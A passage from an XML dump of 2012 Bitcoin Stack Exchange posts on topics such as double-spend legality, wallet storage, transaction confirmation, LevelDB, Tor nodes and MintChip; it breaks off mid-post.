  <row Id="4804" PostTypeId="2" ParentId="4306" CreationDate="2012-09-22T20:34:27.267" Score="8" Body="&lt;p&gt;A double-spend would be blackletter law illegal, guys.  Fraud and theft include a wide variety of intentional deception wrongfully depriving someone of property - use of a government-minted currency is not, and never was, a required element.  Look at any larceny or fraud statute - it will refer to loss of or damage to person and property not &quot;dollars.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Schwarz - when you double-spend, you are representing to the seller as an existing fact that you are passing a valid bitcoin, which is a misrepresentation.  Your representations as to fact are readily, and usually, implied from conduct in fraud and &quot;larceny by trick.&quot; You don't have to literally state them in words.  this goes for more than bitcoin.  If you were considering stealing puppies to return them for a reward, it's a legal problem for the same reason.  But do I really have to tell you this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, these are just general legal notes, and not legal advice.  Before you consider undertaking any questionable business activity, consult an attorney.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2012-09-22T20:34:27.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4805" PostTypeId="2" ParentId="4306" CreationDate="2012-09-22T23:31:21.590" Score="2" Body="&lt;p&gt;Let's ignore the crypto-currency part of Bitcoin, the 51% attack you're talking about is a form of computer hacking, and there are laws to protect against this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that any law that applies to &quot;&lt;a href=&quot;https://security.stackexchange.com/search?q=%2b%5Bpenetration-test%5D%20%2blegal&quot;&gt;hacker 'penetration testing'&lt;/a&gt;&quot; applies to hacking bitcoin in addition to whatever else the law can throw against such an attacker.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't do it! Don't do it! If you are in the US, the law is very broad.&#xA;  You don't want to even tiptoe up to the line.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The relevant law is the Computer Fraud and Abuse Act (18 U.S.C. 1030).&#xA;  In a nutshell (and simplifying slightly), under the CFAA, it is a&#xA;  federal crime to &quot;intentionally access a computer without&#xA;  authorization or exceed authorized access&quot;. This language is very&#xA;  broad, and I imagine an ambitious prosecutor could try to use it to go&#xA;  after everything on your list except #1 (view source).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Orin Kerr, one of the leading legal scholars in this area, calls the&#xA;  statue &quot;vague&quot; and &quot;&lt;a href=&quot;http://www.volokh.com/2011/05/24/congress-considers-increasing-penalties-adding-mandatory-minimum-sentences-to-the-computer-fraud-and-abuse-act/&quot; rel=&quot;nofollow noreferrer&quot;&gt;extraordinarily broad&lt;/a&gt;&quot;, and has said that&#xA;  &quot;&lt;a href=&quot;http://www.volokh.com/category/computer-fraud-and-abuse-act/&quot; rel=&quot;nofollow noreferrer&quot;&gt;no one actually knows what it prohibits&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And, as @Robert David Graham explains, there have been cases where&#xA;  folks were prosecuted, threatened with prosecution, or sued for doing&#xA;  as little as typing a single-quote into a textbox, adding a ../ to a&#xA;  URL, or signing up to Facebook under a pseudonym. It's pretty wild&#xA;  that this alone constitutes a federal offense, even if there is no&#xA;  malicious intent. But that's the legal environment we live in.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I'd say, don't take chances. Get written authorization from the&#xA;  company whose websites you want to test.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/a/6370/396&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although that above link applies to a specific company, I'm sure the distributed nature of Bitcoin could land a hacker in hot water in several countries, not to mention the attacker will also be wanted by the entire community of Bitcoin users (both good people and unsavory users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to test, be open and transparent about your actions (tell people on the forums) and &lt;em&gt;only&lt;/em&gt; do your tests on the test network.  (yes there is a dedicated bitcoin network for testing that makes it pretty easy to apply a 51% attack on)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.100" LastActivityDate="2012-09-22T23:31:21.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="2" ParentId="4800" CreationDate="2012-09-23T12:32:17.210" Score="2" Body="&lt;p&gt;You can find a list of VPS hosts on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Dedicated.2FVirtual_Server_Hosting&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki page for Trade&lt;/a&gt;. Some of them list what countries they come from. There is also a &lt;a href=&quot;https://en.bitcoin.it/wiki/Virtual_private_server&quot; rel=&quot;nofollow&quot;&gt;neat list of all the VPS servers&lt;/a&gt;. At the time of writing, only &lt;a href=&quot;http://www.cinipac.com/&quot; rel=&quot;nofollow&quot;&gt;CINIPAC&lt;/a&gt; appears to be anywhere close to your desired locations, being from Romania.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-23T12:32:17.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4807" PostTypeId="2" ParentId="4803" CreationDate="2012-09-23T17:30:57.227" Score="5" Body="&lt;p&gt;The technique was first described in form of formal study by researchers with the Clique Research Cluster at University College Dublin, blog post: &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.ca/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow&quot;&gt;An Analysis of Anonymity in the Bitcoin System&lt;/a&gt;, the research paper is &lt;a href=&quot;http://arxiv.org/pdf/1107.4524v2.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine transaction of 1 BTC from address:Alice to address:Bob, blockchain shows that there was transfer of 1 BTC&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;1 BTC source:Alice, destination:Bob&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, if a person controlling address:Bob wants to spend the 1 BTC he or she has to construct transaction that shows in blockchain as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;1 BTC source:Bob, destination:Charlie&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lets say you see next three transactions in the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;1 BTC source:Jessica, destination:Alan&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;1 BTC source:Bill,   destination:Erik&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;2 BTC source:Alan,Erik   destination:Manhattan&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To construct the 2 BTC transaction he or she has to have control over both Alan and Eric addresses in another words the person knows the private keys of it, therefore it's the same person, this is not true for a Bitcoin exchange or web based wallet were many people have &lt;em&gt;limited&lt;/em&gt; access to the same private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you know for sure, e.g. from forum signature, that address:Erik belongs to Gavin Anderson then you also know that address:Alan belongs to Gavin Anderson.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this technique didn't uncover any BTC theft and remains to be a toy. Also, there is many ways to block it, e.g. by using Bitcoin Anonymizer.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-09-24T14:37:49.297" LastActivityDate="2012-09-24T14:37:49.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4808" PostTypeId="2" ParentId="4799" CreationDate="2012-09-23T19:22:33.527" Score="13" Body="&lt;p&gt;All historical data from any exchange available at &lt;a href=&quot;https://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts: Markets API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Historic Trade Data&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Trade data is available as CSV, delayed by approx. 15 minutes. It will return the 2000 most recent trades.&#xA;  Format:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;https://api.bitcoincharts.com/v1/trades.csv?symbol=SYMBOL[&amp;amp;start=UNIXTIME]&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Returns CSV with columns: &lt;code&gt;unixtime,price,amount&lt;/code&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Latest &lt;em&gt;Kraken EUR&lt;/em&gt; trades:&#xA;  &lt;a href=&quot;https://api.bitcoincharts.com/v1/trades.csv?symbol=krakenEUR&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.bitcoincharts.com/v1/trades.csv?symbol=krakenEUR&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="13440" LastEditDate="2017-09-17T16:40:06.273" LastActivityDate="2017-09-17T16:40:06.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="1" AcceptedAnswerId="4811" CreationDate="2012-09-23T20:08:22.833" Score="5" ViewCount="747" Body="&lt;p&gt;How scalable is the BerkleyDB format (the technology used within a wallet), and what are its limitations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What technology would replace or supplement BerkleyDB to address those scalability challenges?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="47827" LastEditDate="2020-10-23T10:15:28.693" LastActivityDate="2020-10-23T10:15:28.693" Title="What technology will supersede the BerkleyDB format? What are the current scalability limitations?" Tags="|wallet|bitcoin-core-development|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostTypeId="2" ParentId="4809" CreationDate="2012-09-23T20:43:23.433" Score="7" Body="&lt;p&gt;In the next major release (probably 0.8), the reference client will most likely switch to LevelDB instead of BDB for blockchain data. For wallets, a different solution is needed, but we'll most likely move away from BDB for those too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BDB has several problems - that's not to say it is bad software, but our use case simply doesn't match what it's designed for. BDB is intended to provide databases with extremely high reliability, in complex multi-proces environments, on high-end systems where database logs are backed up and where upgrades are performed manually by a database administrator. BDB doesn't even guarantee compatibility between its environment files between minor releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LevelDB - an open-source rewrite of Google's own database system - was designed for efficiency and consistency on commodity hardware, and outperforms BDB by an order of magnitude in some settings. Preliminary tests with LevelDB show very good results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For wallets, LevelDB would be overkill and a burden. LevelDB uses an entire directory per database (instead of a single file), and wallets are effectively a simple key-value store that's loaded entirely in memory anyway. I assume wallet.dat will be replaced by some simple but solid hand-rolled format.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-09-23T20:43:23.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostTypeId="2" ParentId="839" CreationDate="2012-09-23T22:54:50.293" Score="1" Body="&lt;p&gt;In addition to what Erv mentioned, the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4809/1878&quot;&gt;next version of the wallet&lt;/a&gt; may be using LevelDB for the block chain and some custom format for the private key store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is more information on the &lt;a href=&quot;https://stackoverflow.com/questions/9292648/is-there-a-good-port-of-leveldb-for-c&quot;&gt;LevelDB access from C#&lt;/a&gt; but I hope someone updates this post with a link to the best LevelDB for C# for our purposes&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2012-09-23T22:54:50.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostTypeId="1" AcceptedAnswerId="4814" CreationDate="2012-09-24T01:25:13.723" Score="1" ViewCount="779" Body="&lt;p&gt;I just sent bitcoins from one wallet to another to make my life easier. This was the goal, anyway. My balance in my new wallet went up, but it's still not available after 3 hours. Why might this be? I'm using MultiBit on Mac OS X.&lt;/p&gt;&#xA;" OwnerUserId="1551" LastActivityDate="2012-09-24T07:14:13.500" Title="Balance still not available?" Tags="|transactions|multibit|balance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4814" PostTypeId="2" ParentId="4813" CreationDate="2012-09-24T02:16:45.900" Score="3" Body="&lt;p&gt;When you create a Bitcoin transaction, your client will broadcast that information to peer nodes and generally within seconds every node that is connected will know of that transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's likely why the recipient wallet's balance rose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That transaction though must be included in a mined block before the client you are using will allow those funds to be spent.  Though technically the client could let you spend the funds before the transaction gets even one confirmation, that introduces more confusion and problems so the client has this restriction for these &quot;unconfirmed&quot; transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question remaining is why hasn't the transaction confirmed?  Whether or not to include a transaction is at the discretion of Bitcoin miners (solo miners) and mining pools.  If your transaction did not include a fee that is paid to the miners then sometimes it gets ignored for a while.  This delay can range from an hour or two to more than a day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing the appropriate fee to pay will depend on how much data the transaction consumes.  If you are a miner getting tiny payouts from your pool, your fee to send payment will be more expensive than most because each of those tiny payouts consumes data.  Another egregious violator are the tiny payouts from the losing transactions on SatoshiDICE.   Most everyone else can get by paying the minimum 0.0005 fee in scenarios where a fee is required or no fee at all when none needs to be paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the reason you can't spend the funds is likely because either no fee was paid or the fee that was paid wasn't large enough.  In the future, if there is the need to spend the funds from a payment quickly, consider including a fee payment that will help ensure it is included in block in a timely manner.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-24T02:16:45.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostTypeId="2" ParentId="4813" CreationDate="2012-09-24T07:14:13.500" Score="1" Body="&lt;p&gt;You can also see more info on the transaction if you go to the Transactions tab, right click on it and choose 'View transaction details'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the screen that appears you can click the 'View in blockchain.info' button. This opens a browser with the transaction details in blockchain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info will probably tell you the transaction is unconfirmed for the reasons Stephen described. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-09-24T07:14:13.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="2" ParentId="129" CreationDate="2012-09-24T07:53:55.300" Score="2" Body="&lt;p&gt;at &lt;a href=&quot;http://www.ltc-charts.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ltc-charts.com&lt;/a&gt; you can see long term charts for litecoin&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2012-09-24T07:53:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="1" CreationDate="2012-09-24T09:44:34.783" Score="3" ViewCount="536" Body="&lt;p&gt;Lets say I have a bitcoind instance running on a server with proper wallet.dat backups created regularly. The server crashes, blockchain data becomes corrupted or what have you, and I need to set up a server client fast to take over traffic. Moreover, I need the service to be interchangeable with the official client - that is it needs to provide the same RPC commands, conform to the wallet.dat specification so it can be interchanged between the clients and so forth. What is the fastest way one can do that in case of emergencies?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-20T17:58:56.413" Title="Zero to Bitcoin in sixty seconds - how to set up a Bitcoin client in case you need it fast?" Tags="|client|bitcoind|alternatives|installation|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostTypeId="1" AcceptedAnswerId="5925" CreationDate="2012-09-24T12:13:47.270" Score="10" ViewCount="1950" Body="&lt;p&gt;Is there any eWallet available that works on the TestNet? I want to test some payments and so forth and sometimes I want to have an access to an online wallet, so I don't need to hassle with installing Bitcoin on various machines.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-02-16T17:44:56.053" Title="Testnet eWallet?" Tags="|services|websites|e-wallet|testnet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4819" PostTypeId="1" AcceptedAnswerId="4820" CreationDate="2012-09-24T14:26:12.707" Score="6" ViewCount="994" Body="&lt;p&gt;If I am planning to accept bitcoins, does my client need to be running? Can I simply give out my public key and open the client later to receive? Does it depend on the client (I use MultiBit)? Furthermore, if I send bitcoins, do I need to keep the client open for the receiver to receive their payment, or are they all set to receive as soon as their balance (not available balance) goes up?&lt;/p&gt;&#xA;" OwnerUserId="1551" LastEditorUserId="1551" LastEditDate="2012-09-24T14:45:17.010" LastActivityDate="2014-02-06T20:50:23.170" Title="Receiving bitcoins without open client?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4820" PostTypeId="2" ParentId="4819" CreationDate="2012-09-24T15:39:29.600" Score="5" Body="&lt;p&gt;To accept a Bitcoin transaction, you only need to give out a hash of the public key also known as the Bitcoin address. That said, if you are a merchant then the recommended practice is to give out a new bitcoin address for every transaction to make it easier to distinguish between orders from different people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that whatever Bitcoin client you choose is honest, then it doesn't matter what client you use. Underneath it would be the same message broadcasted by the Bitcoin network. You don't need to have a client open at all times to send or receive payment, but if you use &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; then you would need to have an up-to-date blockchain database in order for client to scan through the blockchain to show all received/sent transactions and display the correct balance.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="1405" LastEditDate="2014-02-06T20:50:23.170" LastActivityDate="2014-02-06T20:50:23.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="1" AcceptedAnswerId="4828" CreationDate="2012-09-24T16:18:52.113" Score="5" ViewCount="1130" Body="&lt;p&gt;Is it possible for a Bitcoin server to have a &lt;a href=&quot;https://security.stackexchange.com/q/11727/396&quot;&gt;.onion ToR address&lt;/a&gt;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, are there any in existence today?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: this is an alternative to hiding addresses via the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4810/1878&quot;&gt;Azure Service Bus&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-02-23T21:41:23.873" Title="Can a Bitcoin server have a .onion ToR address?" Tags="|tor|privacy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="1" CreationDate="2012-09-24T17:32:36.347" Score="2" ViewCount="686" Body="&lt;p&gt;I am using a fresh install of Bitcoin and have no wallet with coins at this time, and want to use the Bitcoind service in short time (loading blockchain using bitcoind will take days because of slow pc, can not wait for that also because PC can't run all day). So I decided to download the blockchain from &lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://eu1.bitcoincharts.com/blockchain/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do you use it? I am using Ubuntu 10.4 and Bitcoin 0.7.0. I already placed the downloaded files in .bitcoin directory and then run bitcoind but then it just started downloading the blockchain from the network, ignoring my downloaded files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2012-09-24T17:32:36.347" Title="How to use downloaded blockchain on ubuntu?" Tags="|blockchain|synchronization|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4823" PostTypeId="1" AcceptedAnswerId="4825" CreationDate="2012-09-24T18:27:57.803" Score="3" ViewCount="1263" Body="&lt;p&gt;I am a newbie and I would like to know where can I create/store my Bitcoin Wallet safely. I have downloaded the Bitcoin software but storing it in my local computer seem like a high risk, but also is trusting a third-party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you guys do it?&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="323" LastEditDate="2012-09-25T06:13:49.403" LastActivityDate="2012-09-25T06:13:49.403" Title="Where can I store a Bitcoin Wallet Safely?" Tags="|wallet|security|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostTypeId="1" CreationDate="2012-09-24T20:13:49.283" Score="7" ViewCount="1201" Body="&lt;p&gt;Please help me identify any laws that would be potential blockers to selling and buying bitcoins in person.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2012-12-31T01:10:59.353" Title="What laws apply to selling / buying bitcoins for USD in California?" Tags="|legal|buy-bitcoins|sell-bitcoins|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4825" PostTypeId="2" ParentId="4823" CreationDate="2012-09-24T20:15:48.767" Score="1" Body="&lt;p&gt;Here is an in-depth article that explains the steps you should take to secure your wallet. &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2012-09-24T20:15:48.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostTypeId="2" ParentId="4819" CreationDate="2012-09-24T21:34:35.923" Score="3" Body="&lt;p&gt;Bicoins are &quot;received&quot; to all connected nodes, not just to your node.  So no, your client does not need to be connected to receive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To send a transaction, the transaction needs to be broadcast to peers that are connected.  Generally, this will happen in seconds but if your network happened to hiccup or it had only connected to non-compliant peers that didn't relay your transaction (perhaps by rogue nodes, for instance) or for whatever reason, then your client will re-broadcast the transaction after a period of time has passed.  If the client isn't still running, then the re-broadcast won't happen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are services that can show if a transaction was successfully broadcast.  One is BlockChain.info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BlockChain.info&quot; rel=&quot;nofollow&quot;&gt;http://www.BlockChain.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once a transaction is successfully broadcast, then the work of the client is done.  It can be closed, without needing to wait for any confirmations to occur.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-24T21:34:35.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostTypeId="1" AcceptedAnswerId="4830" CreationDate="2012-09-25T09:02:08.050" Score="3" ViewCount="1110" Body="&lt;p&gt;Is there an embeddable javascript widget (perhaps using blockchain.info API) that can show information about a specific Bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like current balance, total incoming, outgoing, and latest transactions?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2016-09-09T19:53:42.840" Title="Javascript widget that shows the balance of a particular address" Tags="|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostTypeId="2" ParentId="4821" CreationDate="2012-09-25T10:27:50.907" Score="5" Body="&lt;p&gt;Yes, since version 0.7 this is possible with the reference client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the documentation about tor: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/tor.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/tor.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: also see &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes#Tor_nodes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Fallback_Nodes#Tor_nodes&lt;/a&gt; for a list of published onion nodes. The explanation on that site should be updated to reflected the built-in support for onion addresses since 0.7.0, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="2306" LastEditDate="2015-02-23T21:41:23.873" LastActivityDate="2015-02-23T21:41:23.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4830" PostTypeId="2" ParentId="4827" CreationDate="2012-09-25T11:49:53.067" Score="3" Body="&lt;p&gt;Here's a third party service that creates an img:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Balance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinbox.ru/display/graph.php?btcaddress=1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN&amp;amp;type=balance&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinbox.ru/display/graph.php?btcaddress=1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN&amp;amp;type=balance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Total received at the address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinbox.ru/display/graph.php?btcaddress=1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinbox.ru/display/graph.php?btcaddress=1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-25T11:49:53.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4831" PostTypeId="1" AcceptedAnswerId="4834" CreationDate="2012-09-25T13:06:47.887" Score="12" ViewCount="1642" Body="&lt;p&gt;The Royal Canadian Mint announced some time ago a new solution called &lt;a href=&quot;http://mintchipchallenge.com/&quot;&gt;MintChip&lt;/a&gt;, which appears to share some similarities to Bitcoin. How do those two projects differ, and how are they similar?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-24T20:50:17.553" Title="MintChip and Bitcoin - how do they compare?" Tags="|currencies|canada|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4833" PostTypeId="2" ParentId="4831" CreationDate="2012-09-26T05:21:05.437" Score="5" Body="&lt;p&gt;Note: My information about MintChip is a bit limited and may be incorrect. Corrections are appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Authority&lt;/strong&gt;: Bitcoin has no central authority. MintChip is run by a government agency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: Bitcoin is secured by cryptography. MintChip is secured by tamper-resistant hardware. (The Mint says they'll support other models, but I'm quite puzzled how they'll make that work with their framework.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anonymity&lt;/strong&gt;: Bitcoin is pseudonymous. You perform transactions through an account and transactions are public. You can have more than one account. MintChip transactions are only known to the participants and the system operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Currency&lt;/strong&gt;: Bitcoin is a commodity that acts much like a currency. The supply of Bitcoins is fundamentally limited by the mathematics of the system. MintChip is a way to trade fiat currency that can be devalued by inflation and whose supply is limited only by politics.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-09-26T05:21:05.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4834" PostTypeId="2" ParentId="4831" CreationDate="2012-09-26T06:59:57.270" Score="2" Body="&lt;p&gt;From the &lt;a href=&quot;http://developer.mintchipchallenge.com&quot; rel=&quot;nofollow&quot;&gt;developer website of MintChip&lt;/a&gt;, we can see that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.mintchipchallenge.com/devguide/index.php&quot; rel=&quot;nofollow&quot;&gt;1:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MintChip works online and offline, at the physical Point-of-Sale, on mobile devices, and enables easy person-to-person payments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.mintchipchallenge.com/devguide/background.html&quot; rel=&quot;nofollow&quot;&gt;2:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MintChip uses a secure chip to hold electronic value and a protocol to transfer it from one chip to another.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The emerging digital economy must be able to accommodate small-value transactions, such as micro transactions (under $10) and nano-transactions (under $1). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.mintchipchallenge.com/devguide/evolution.html&quot; rel=&quot;nofollow&quot;&gt;3:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Like coins, MintChip can be used by anyone. There is no age, demographic, banking 